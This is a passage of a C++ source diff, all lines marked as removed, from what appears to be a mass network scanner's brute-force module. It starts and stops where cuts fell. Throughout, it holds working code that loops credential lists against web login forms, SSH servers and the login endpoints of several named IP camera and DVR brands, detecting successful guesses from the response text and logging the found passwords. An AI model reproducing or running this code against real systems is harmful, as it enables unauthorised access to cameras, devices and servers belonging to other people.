strlen(request); - char recvBuff[8192] = {0}; - recvBuff2 = new char[RECV_MAX_SIZE]; - ZeroMemory(recvBuff2, RECV_MAX_SIZE); - - int bTO; - int x = 256; - while (x > 0) - { - ZeroMemory(recvBuff, 8192); - x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO); - if(x <= 0) break; - Activity += x; - recvBuffSize += x; - if( recvBuffSize > RECV_MAX_SIZE ) - { - CSSOCKET(sock); - ++Overl; - - CSTR->lowerBuff = new char[recvBuffSize]; - strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); - CSTR->size = recvBuffSize; - CSTR->overflow = true; - delete[] recvBuff2; - recvBuff2 = NULL; - return 0; - }; - strncat(recvBuff2, recvBuff, x); - }; - - if(strstri(recvBuff2, "no request found") != NULL) - { - ZeroMemory(recvBuff2, RECV_MAX_SIZE); - CSSOCKET(sock); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - send(sock, request, strlen(request), 0); - x = 1; - while (x > 0) - { - ZeroMemory(recvBuff, 8192); - x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO); - if(x <= 0) break; - Activity += x; - recvBuffSize += x; - if( recvBuffSize > RECV_MAX_SIZE ) - { - CSSOCKET(sock); - ++Overl; - - CSTR->lowerBuff = new char[recvBuffSize]; - strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); - CSTR->size = recvBuffSize; - CSTR->overflow = true; - delete[] recvBuff2; - recvBuff2 = NULL; - return 0; - }; - strncat(recvBuff2, recvBuff, x); - }; - }; - } - else - { - ++offlines; - stt->doEmitionRedFoundData("[_EC] Send error: " + QString(ip) + " - " + QString::number(WSAGetLastError())); - }; - }; - }; - } - else - { - ++offlines; - if(iError == 10055) - { - stt->doEmitionRedFoundData("[10055] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); - } - else if(iError == 10049) - { - stt->doEmitionRedFoundData("[10049] " + QString(ip) + - ":" + QString::number(port) + - " - " + QString::number(iError)); - } - else - { - stt->doEmitionRedFoundData("[Unknown error] " + QString(ip) + - ":" + QString::number(port) + - " - " + QString::number(iError)); - }; - }; - } - else - { - stt->doEmitionRedFoundData("[?!] Strange behavior detected - " + - QString::number(WSAGetLastError()) + - " - " + QString(ip) + ":" + QString::number(port)); - }; - - CSSOCKET(sock); - - if( globalScanFlag == false && force == 0) - { - if(recvBuff2 != NULL) delete []recvBuff2; - recvBuff2 = NULL; - return -1; - }; - - if(recvBuff2 != NULL && recvBuffSize > 0) - { - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); - CSTR->lowerBuff = new char[recvBuffSize + 1]; - ZeroMemory(CSTR->lowerBuff, recvBuffSize + 1); - CSTR->size = recvBuffSize; - strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); - memset(CSTR->lowerBuff + recvBuffSize, '\0', 1); - - delete []recvBuff2; - recvBuff2 = NULL; - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, CSTR->lowerBuff); - return 0; - } - else - { - if(recvBuff2 != NULL) delete []recvBuff2; - recvBuff2 = NULL; - return -1; - }; -}; - -#pragma region WF -lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) -{ - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - - int cookieLen = strlen(cookie); - - char b[16] = {0}; - char request[2048] = {0}; - char argData[256] = {0}; - char recvBuffer[65536] = {0}; - - Connector con; - conSTR CSTR; - int cRes; - int firstCycle = 0; - if(strstri(methodVal, "get") != NULL) - { - int passCounter = 1; - for(int i = 0; i < MaxWFLogin; ++i) - { - if(globalScanFlag == false) break; - for(int j = firstCycle; j < MaxWFPass; ++j) - { - if(globalScanFlag == false) break; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - cRes = 0; - - strcpy(request, "GET "); - strcat(request, actionVal); - strcat(request, "?"); - strcat(request, userVal); - strcat(request, "="); - strcat(request, wfLoginLst[i]); - strcat(request, "&"); - strcat(request, passVal); - strcat(request, "="); - strcat(request, wfPassLst[j]); - strcat(request, " HTTP/1.1\r\n"); - strcat(request, "Host: "); - strcat(request, ip); - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - if(cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; - strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close"); - strcat(request, "\r\n\r\n"); - - if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); - else cRes = con._EstablishConnection(ip, port, request, &CSTR); - - if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); - ++passCounter; - - if(CSTR.lowerBuff != NULL) - { - if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) - { - stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "404 not found") != NULL) - { - stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL - && strstri(CSTR.lowerBuff, "Location:") == NULL - && strstri(CSTR.lowerBuff, "Access forbidden") == NULL - && strstri(CSTR.lowerBuff, "Authentication required") == NULL - && strstri(CSTR.lowerBuff, "invalid") == NULL - && strstri(CSTR.lowerBuff, "error") == NULL - && strstri(CSTR.lowerBuff, "loginerr") == NULL - && strstri(CSTR.lowerBuff, "passerr") == NULL - && strstri(CSTR.lowerBuff, "passworderr") == NULL - && strstri(CSTR.lowerBuff, "location.href") == NULL - && strstri(CSTR.lowerBuff, "location.replace") == NULL - && strstri(CSTR.lowerBuff, "top.location") == NULL - && strstri(CSTR.lowerBuff, "error_status") == NULL - && strstri(CSTR.lowerBuff, "501 not implemented") == NULL - && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "busy") == NULL - && strstri(CSTR.lowerBuff, "later") == NULL - && strstri(CSTR.lowerBuff, "verification failed") == NULL - && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL - && strstri(CSTR.lowerBuff, formVal) == NULL - - ) - { - if(i == 0) - { - ZeroMemory(request, sizeof(request)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - char pass[256] = {0}; - - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Web Form password found: "); - strcat(pass, wfLoginLst[i]); - strcat(pass, ":"); - strcat(pass, wfPassLst[j]); - isActive = 0; - - stt->doEmition_BAGreenData("[+] " + QString(pass)); - - strcpy(lps.login, wfLoginLst[i]); - strcpy(lps.pass, wfPassLst[j]); - return lps; - }; - } - else - { - ZeroMemory(request, sizeof(request)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - - if(i == 0) ++i; - ZeroMemory(request, sizeof(request)); - }; - firstCycle = 1; - }; - } - else if(strstri(methodVal, "post") != NULL) - { - int passCounter = 1; - int firstCycle = 0; - for(int i = 0; i < MaxWFLogin; ++i) - { - if(globalScanFlag == false) break; - for(int j = firstCycle; j < MaxWFPass; ++j) - { - if(globalScanFlag == false) break; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - cRes = 0; - - strcpy(argData, userVal); - strcat(argData, "="); - strcat(argData, wfLoginLst[i]); - strcat(argData, "&"); - strcat(argData, passVal); - strcat(argData, "="); - strcat(argData, wfPassLst[j]); - - strcpy(request, "POST "); - strcat(request, actionVal); - strcat(request, " HTTP/1.1\r\n"); - strcat(request, "Host: "); - strcat(request, ip); - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - if(cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; - strcat(request, "\r\nContent-type: application/x-www-form-urlencoded\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-Length: "); - sprintf(b, "%d", strlen(argData)); - strcat(request, b); - strcat(request, "\r\n\r\n"); - - strcat(request, argData); - - if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); - ++passCounter; - - if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); - else cRes = con._EstablishConnection(ip, port, request, &CSTR); - - if(CSTR.lowerBuff != NULL) - { - if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) - { - stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "404 not found") != NULL) - { - stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL - && strstri(CSTR.lowerBuff, "Location:") == NULL - && strstri(CSTR.lowerBuff, "Access forbidden") == NULL - && strstri(CSTR.lowerBuff, "Authentication required") == NULL - && strstri(CSTR.lowerBuff, "invalid") == NULL - && strstri(CSTR.lowerBuff, "error") == NULL - && strstri(CSTR.lowerBuff, "loginerr") == NULL - && strstri(CSTR.lowerBuff, "passerr") == NULL - && strstri(CSTR.lowerBuff, "passworderr") == NULL - && strstri(CSTR.lowerBuff, "location.href") == NULL - && strstri(CSTR.lowerBuff, "location.replace") == NULL - && strstri(CSTR.lowerBuff, "top.location") == NULL - && strstri(CSTR.lowerBuff, "error_status") == NULL - && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "busy") == NULL - && strstri(CSTR.lowerBuff, "later") == NULL - && strstri(CSTR.lowerBuff, "verification failed") == NULL - && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL - && strstri(CSTR.lowerBuff, formVal) == NULL - ) - { - if(i == 0) - { - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - char pass[256] = {0}; - - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Web Form password found: "); - strcat(pass, wfLoginLst[i]); - strcat(pass, ":"); - strcat(pass, wfPassLst[j]); - isActive = 0; - - stt->doEmition_BAGreenData("[+] " + QString(pass)); - - strcpy(lps.login, wfLoginLst[i]); - strcpy(lps.pass, wfPassLst[j]); - return lps; - }; - } - else - { - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(i == 0) ++i; - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - }; - firstCycle = 1; - }; - } - else - { - stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Unknown method."); - }; - - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; -}; -lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - - ++WF; - - BConInc(); - lopaStr res = _WFBrut(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); - BConDec(); - - return res; -}; - -#pragma region SSH -int _sshConnect(char *user, char *pass, char *host, int port) -{ - char hostStr[128] = {0}; - ZeroMemory(hostStr, sizeof(hostStr)); - strcpy(hostStr, user); - strcat(hostStr, "@"); - strcat(hostStr, host); - - ssh_session my_ssh_session = ssh_new(); - if (my_ssh_session == NULL) - { - ssh_free(my_ssh_session); - return -1; - }; - - ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); - ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); - int sshTimeout = gTimeOut + 1; - ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); - - int rc = ssh_connect(my_ssh_session); - - if (rc != SSH_OK) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++offlines; - return -2; - } - else - { - rc = ssh_userauth_password(my_ssh_session, NULL, pass); - if (rc != SSH_AUTH_SUCCESS) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - return -1; - }; - }; - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++ssh; - return 0; -}; -char *_get_ssh_banner(char *ip, int port) -{ - Connector con; - conSTR CSTR; - char recvBuff[256] = {0}; - con._EstablishConnection(ip, port, "", &CSTR); - if(CSTR.lowerBuff != NULL && CSTR.size != 0) - { - strncpy(recvBuff, CSTR.lowerBuff, CSTR.size < 256 ? CSTR.size : 256); - }; - if(CSTR.lowerBuff != NULL) - { - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; - return recvBuff; -}; -int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, conSTR *CSTR, char *banner) -{ - int res = -1; - if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); - res = _sshConnect(user, pass, host, port); - if(res == 0) - { - stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); - char goodStr[512] = {0}; - strcpy(goodStr, userPass); - strcat(goodStr, "@"); - strcat(goodStr, host); - strcat(goodStr, "|+|"); - strcat(goodStr, banner); - int bsz = strlen(goodStr); - CSTR->lowerBuff = new char[bsz + 1]; - ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); - CSTR->size = bsz; - strncpy(CSTR->lowerBuff, goodStr, bsz); - memset(CSTR->lowerBuff + bsz, '\0', 1); - return 0; - }; - return res; -}; -int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) -{ - CSTR->lowerBuff = NULL; - CSTR->size = 0; - char login[32] = {0}; - char pass[32] = {0}; - char temp[64] = {0}; - isActive = 1; - BConInc(); - int sz = 0; - char *ptr1 = 0; - int res = -1; - for(int i = 0; i < MaxSSHPass; ++i) - { - if(globalScanFlag == false) break; - strcpy(temp, sshlpLst[i]); - ptr1 = strstr(temp, ":"); - sz = ptr1 - temp; - strncpy(login, temp, sz); - strcpy(pass, ptr1 + 1); - res = check_ssh_pass(login, pass, temp, host, port, CSTR, banner); - ZeroMemory(login, sizeof(login)); - ZeroMemory(pass, sizeof(pass)); - ZeroMemory(temp, sizeof(temp)); - if(res == 0) - { - if(i == 0) return -2; //Failhit - BConDec(); - isActive = 0; - return 0; - } - else if(res == -2) - { - BConDec(); - isActive = 0; - return -2; - }; - Sleep(500); - }; - BConDec(); - isActive = 0; - return -1; -}; - -#pragma region IPCAMWeb -int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector negVector) -{ - char recvBuff[256] = {0}; - char recvBuff2[4096] = {0}; - - SOCKET sock; - sockaddr_in sockAddr; - int bTO; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(port); - HOSTENT *host; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - return -1; - }; -#else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - return -1; - }; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - int cErrCode = WSAGetLastError(); - - while(cErrCode == 10038) - { - CSSOCKET(sock); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - cErrCode = WSAGetLastError(); - if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); - }; - - if(cCode != SOCKET_ERROR) - { - int x = 1; - Activity += strlen(request); - - if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[" + QString(type) + "] Send error! [" + QString(ip) + "]"); - CSSOCKET(sock); - return 0; - } - else - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - int x = 1; - int xx = 0; - ZeroMemory(recvBuff2, sizeof(recvBuff2)); - while(xx < 3072) - { - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut + 2, &bTO); - if(x <= 0) break; - strncat(recvBuff2, recvBuff, x); - xx += x; - Activity += x; - }; - - if(BALogSwitched) stt->doEmitionBAData("Checked " + QString(type) + ": " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); - - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); - - if(strlen(recvBuff2) > 0) { - bool result = true; - for(int i = 0; i < negVector.size(); ++i) - { - if(strstri(recvBuff2, negVector[i]) != NULL) - { - result = false; - break; - }; - }; - - if(result) - { - CSSOCKET(sock); - return 1; - }; - } - }; - }; - - CSSOCKET(sock); - return 0; -}; -lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) -{ - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - char login[128] = {0}; - char pass[128] = {0}; - char request[1024] = {0}; - isActive = 1; - int passCounter = 1; - - std::vector negVector; - if(strcmp(SPEC, "IPC") == 0) - { - negVector.push_back("Invalid"); - } - else if(strcmp(SPEC, "GEO") == 0) - { - negVector.push_back("Access denied"); - negVector.push_back("ErrNoSuchUsr.htm"); - } - else if(strcmp(SPEC, "EasyCam") == 0) - { - negVector.push_back("Set-Cookie: usrLevel=-1;path=/"); - } - else if(strcmp(SPEC, "Foscam") == 0) - { - negVector.push_back("0"); - negVector.push_back("-1"); - negVector.push_back("-2"); - negVector.push_back("-3"); - negVector.push_back("-4"); - negVector.push_back("-5"); - negVector.push_back("-6"); - negVector.push_back("-7"); - } - else if(strcmp(SPEC, "AVIOSYS") == 0) - { - negVector.push_back("Password Error"); - } - else if(strcmp(SPEC, "BUFFALO") == 0) - { - negVector.push_back("403 Forbidden"); - } - else if(strcmp(SPEC, "DVS") == 0) - { - negVector.push_back("Non-Existed"); - } - else if(strcmp(SPEC, "IPCAM") == 0) - { - negVector.push_back("var check=\"0\""); - negVector.push_back("var authLevel =\"0\";"); - } - else if(strcmp(SPEC, "IEORFOREFOX") == 0) - { - negVector.push_back("AAA()"); - negVector.push_back("Имя или пароль неверные!"); - negVector.push_back("Возврат"); - negVector.push_back("HTTP/1.0 302 Found"); - } - else - { - stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!"); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - - for(int i = 0; i < MaxLogin; i++) - { - if(globalScanFlag == false) break; - if(strcmp(loginLst[i], " ") == 0) continue; - ZeroMemory(login, sizeof(login)); - strcpy(login, loginLst[i]); - for(int j = 0; j < MaxPass; j++) - { - if(globalScanFlag == false) break; - if(strcmp(passLst[j], " ") == 0) continue; - - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, passLst[j]); - - ZeroMemory(request, sizeof(request)); - if(strcmp(SPEC, "IPC") == 0) - { - strcpy(request, "GET /login.xml?user="); - strcat(request, login); - strcat(request, "&usr="); - strcat(request, login); - strcat(request, "&password="); - strcat(request, pass); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } - else if(strcmp(SPEC, "GEO") == 0) - { - strcpy(request, "GET /Login.cgi?username="); - strcat(request, login); - strcat(request, "&password="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } - else if(strcmp(SPEC, "EasyCam") == 0) - { - strcpy(request, "GET /login.xml?user="); - strcat(request, login); - strcat(request, "&usr="); - strcat(request, login); - strcat(request, "&password="); - strcat(request, pass); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } - else if(strcmp(SPEC, "Foscam") == 0) - { - strcpy(request, "GET /cgi-bin/CGIProxy.fcgi?usr="); - strcat(request, login); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, "&cmd=logIn&usrName="); - strcat(request, login); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } - else if(strcmp(SPEC, "AVIOSYS") == 0) - { - strcpy(request, "GET /check_user.html?UserName="); - strcat(request, login); - strcat(request, "&PassWord="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } - else if(strcmp(SPEC, "BUFFALO") == 0) - { - strcpy(request, "POST /rpc/login HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); - int loginLength = strlen(login); - int passLength = strlen(pass); - int sz = loginLength + passLength + strlen("user=&password="); - char *passString = new char[sz + 1]; - ZeroMemory(passString, sizeof(passString)); - strcpy(passString, "user="); - strcat(passString, login); - strcat(passString, "&password="); - strcat(passString, pass); - strcat(request, "\r\nContent-Length: "); - char tempBuff[16] = {0}; - sprintf(tempBuff, "%d", sz); - strcat(request, tempBuff); - strcat(request, "\r\n\r\n"); - strcat(request, passString); - delete []passString; - } - else if(strcmp(SPEC, "DVS") == 0) - { - strcpy(request, "POST /login HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); - int loginLength = strlen(login); - int passLength = strlen(pass); - int sz = loginLength + passLength + strlen("langs=en&user=&password=&submit=+Login+"); - char *passString = new char[sz + 1]; - ZeroMemory(passString, sizeof(passString)); - strcpy(passString, "langs=en&user="); - strcat(passString, login); - strcat(passString, "&password="); - strcat(passString, pass); - strcat(passString, "&submit=+Login+"); - strcat(request, "\r\nContent-Length: "); - char tempBuff[16] = {0}; - sprintf(tempBuff, "%d", sz); - strcat(request, tempBuff); - strcat(request, "\r\n\r\n"); - strcat(request, passString); - delete []passString; - } - else if(strcmp(SPEC, "IPCAM") == 0) - { - strcpy(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name="); - strcat(request, login); - strcat(request, "&-passwd="); - strcat(request, pass); - strcat(request, "&-time=1416767330831 HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); 